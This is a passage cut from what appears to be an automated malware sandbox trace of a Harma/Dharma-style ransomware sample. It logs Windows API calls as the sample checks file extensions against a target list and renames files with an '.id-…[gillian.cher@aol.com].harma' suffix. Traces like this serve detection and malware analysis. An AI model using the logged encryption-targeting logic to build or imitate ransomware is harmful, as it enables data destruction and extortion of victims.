lstrlenW (lpString=".zip") returned 4 [0175.124] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.124] lstrlenW (lpString=".rar") returned 4 [0175.124] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.124] lstrlenW (lpString=".bz2") returned 4 [0175.124] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.124] lstrlenW (lpString=".7z") returned 3 [0175.124] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 Thread: id = 82 os_tid = 0x65c [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x57a8a0 [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x58a8a8 [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006a0 [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532408 [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006b8 [0174.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3340020 [0174.645] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500700 [0174.645] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500700, Size=0x20) returned 0x537a08 [0174.645] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500700 [0174.645] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500700, Size=0x20) returned 0x537a80 [0174.645] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.645] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.645] Wow64DisableWow64FsRedirection (in: OldValue=0x2d5ff58 | out: OldValue=0x2d5ff58*=0x0) returned 1 [0174.645] lstrlenW (lpString="kernel32.dll") returned 12 [0174.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.645] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.645] Sleep (dwMilliseconds=0x64) [0174.777] Sleep (dwMilliseconds=0x64) [0175.137] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.137] lstrlenW (lpString="ipscat.xml") returned 10 [0175.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.138] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2592) returned 1 [0175.138] CloseHandle (hObject=0x1d4) returned 1 [0175.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0175.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.138] lstrlenW (lpString=".doc") returned 4 [0175.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.138] lstrlenW (lpString=".docx") returned 5 [0175.138] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.138] lstrlenW (lpString=".pdf") returned 4 [0175.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.138] lstrlenW (lpString=".xls") returned 4 [0175.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.138] lstrlenW (lpString=".xlsx") returned 5 [0175.138] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.138] lstrlenW (lpString=".ppt") returned 4 [0175.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.138] lstrlenW (lpString=".zip") returned 4 [0175.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.138] lstrlenW (lpString=".rar") returned 4 [0175.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.138] lstrlenW (lpString=".bz2") returned 4 [0175.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString=".7z") returned 3 [0175.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.139] lstrlenW (lpString=".dbf") returned 4 [0175.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.139] lstrlenW (lpString=".1cd") returned 4 [0175.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.139] lstrlenW (lpString=".jpg") returned 4 [0175.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.139] lstrlenW (lpString=".doc") returned 4 [0175.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString=".docx") returned 5 [0175.139] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.139] lstrlenW (lpString=".pdf") returned 4 [0175.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString=".xls") returned 4 [0175.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.139] lstrlenW (lpString=".xlsx") returned 5 [0175.139] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.140] lstrlenW (lpString=".ppt") returned 4 [0175.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.140] lstrlenW (lpString=".zip") returned 4 [0175.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.140] lstrlenW (lpString=".rar") returned 4 [0175.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.140] lstrlenW (lpString=".bz2") returned 4 [0175.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.140] lstrlenW (lpString=".7z") returned 3 [0175.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.140] lstrlenW (lpString=".dbf") returned 4 [0175.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.140] lstrlenW (lpString=".1cd") returned 4 [0175.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0175.140] lstrlenW (lpString=".jpg") returned 4 [0175.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.140] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.141] lstrlenW (lpString="ipschs.xml") returned 10 [0175.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.141] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2462) returned 1 [0175.141] CloseHandle (hObject=0x1d4) returned 1 [0175.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0175.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.141] lstrlenW (lpString=".doc") returned 4 [0175.141] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.141] lstrlenW (lpString=".docx") returned 5 [0175.142] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0175.142] lstrlenW (lpString=".pdf") returned 4 [0175.142] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString=".xls") returned 4 [0175.142] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString=".xlsx") returned 5 [0175.142] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0175.142] lstrlenW (lpString=".ppt") returned 4 [0175.142] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.142] lstrlenW (lpString=".zip") returned 4 [0175.142] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.142] lstrlenW (lpString=".rar") returned 4 [0175.142] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString=".bz2") returned 4 [0175.142] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString=".7z") returned 3 [0175.142] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.142] lstrlenW (lpString=".dbf") returned 4 [0175.142] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.142] lstrlenW (lpString=".1cd") returned 4 [0175.142] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.142] lstrlenW (lpString=".jpg") returned 4 [0175.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.143] lstrlenW (lpString=".doc") returned 4 [0175.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString=".docx") returned 5 [0175.143] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0175.143] lstrlenW (lpString=".pdf") returned 4 [0175.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString=".xls") returned 4 [0175.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString=".xlsx") returned 5 [0175.143] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0175.143] lstrlenW (lpString=".ppt") returned 4 [0175.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.143] lstrlenW (lpString=".zip") returned 4 [0175.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.143] lstrlenW (lpString=".rar") returned 4 [0175.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString=".bz2") returned 4 [0175.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.143] lstrlenW (lpString=".7z") returned 3 [0175.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.144] lstrlenW (lpString=".dbf") returned 4 [0175.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.144] lstrlenW (lpString=".1cd") returned 4 [0175.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0175.144] lstrlenW (lpString=".jpg") returned 4 [0175.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.144] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.144] lstrlenW (lpString="ipscht.xml") returned 10 [0175.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.144] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2436) returned 1 [0175.145] CloseHandle (hObject=0x1d4) returned 1 [0175.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0175.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.145] lstrlenW (lpString=".doc") returned 4 [0175.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.145] lstrlenW (lpString=".docx") returned 5 [0175.145] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.145] lstrlenW (lpString=".pdf") returned 4 [0175.145] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.145] lstrlenW (lpString=".xls") returned 4 [0175.145] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.145] lstrlenW (lpString=".xlsx") returned 5 [0175.145] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.145] lstrlenW (lpString=".ppt") returned 4 [0175.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.145] lstrlenW (lpString=".zip") returned 4 [0175.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.145] lstrlenW (lpString=".rar") returned 4 [0175.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString=".bz2") returned 4 [0175.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString=".7z") returned 3 [0175.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.146] lstrlenW (lpString=".dbf") returned 4 [0175.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.146] lstrlenW (lpString=".1cd") returned 4 [0175.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.146] lstrlenW (lpString=".jpg") returned 4 [0175.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.146] lstrlenW (lpString=".doc") returned 4 [0175.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString=".docx") returned 5 [0175.146] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.146] lstrlenW (lpString=".pdf") returned 4 [0175.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString=".xls") returned 4 [0175.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.146] lstrlenW (lpString=".xlsx") returned 5 [0175.146] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.146] lstrlenW (lpString=".ppt") returned 4 [0175.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.147] lstrlenW (lpString=".zip") returned 4 [0175.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.147] lstrlenW (lpString=".rar") returned 4 [0175.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.147] lstrlenW (lpString=".bz2") returned 4 [0175.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.147] lstrlenW (lpString=".7z") returned 3 [0175.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.147] lstrlenW (lpString=".dbf") returned 4 [0175.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.147] lstrlenW (lpString=".1cd") returned 4 [0175.147] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0175.147] lstrlenW (lpString=".jpg") returned 4 [0175.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.147] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.147] lstrlenW (lpString="ipscsy.xml") returned 10 [0175.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.148] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2556) returned 1 [0175.148] CloseHandle (hObject=0x1d4) returned 1 [0175.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0175.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.148] lstrlenW (lpString=".doc") returned 4 [0175.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.148] lstrlenW (lpString=".docx") returned 5 [0175.148] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0175.148] lstrlenW (lpString=".pdf") returned 4 [0175.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.148] lstrlenW (lpString=".xls") returned 4 [0175.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.148] lstrlenW (lpString=".xlsx") returned 5 [0175.148] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0175.148] lstrlenW (lpString=".ppt") returned 4 [0175.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.149] lstrlenW (lpString=".zip") returned 4 [0175.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.149] lstrlenW (lpString=".rar") returned 4 [0175.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString=".bz2") returned 4 [0175.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString=".7z") returned 3 [0175.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.149] lstrlenW (lpString=".dbf") returned 4 [0175.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.149] lstrlenW (lpString=".1cd") returned 4 [0175.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.149] lstrlenW (lpString=".jpg") returned 4 [0175.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.150] lstrlenW (lpString=".doc") returned 4 [0175.150] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString=".docx") returned 5 [0175.150] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0175.150] lstrlenW (lpString=".pdf") returned 4 [0175.150] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString=".xls") returned 4 [0175.150] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString=".xlsx") returned 5 [0175.150] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0175.150] lstrlenW (lpString=".ppt") returned 4 [0175.150] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.150] lstrlenW (lpString=".zip") returned 4 [0175.150] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.150] lstrlenW (lpString=".rar") returned 4 [0175.150] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString=".bz2") returned 4 [0175.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString=".7z") returned 3 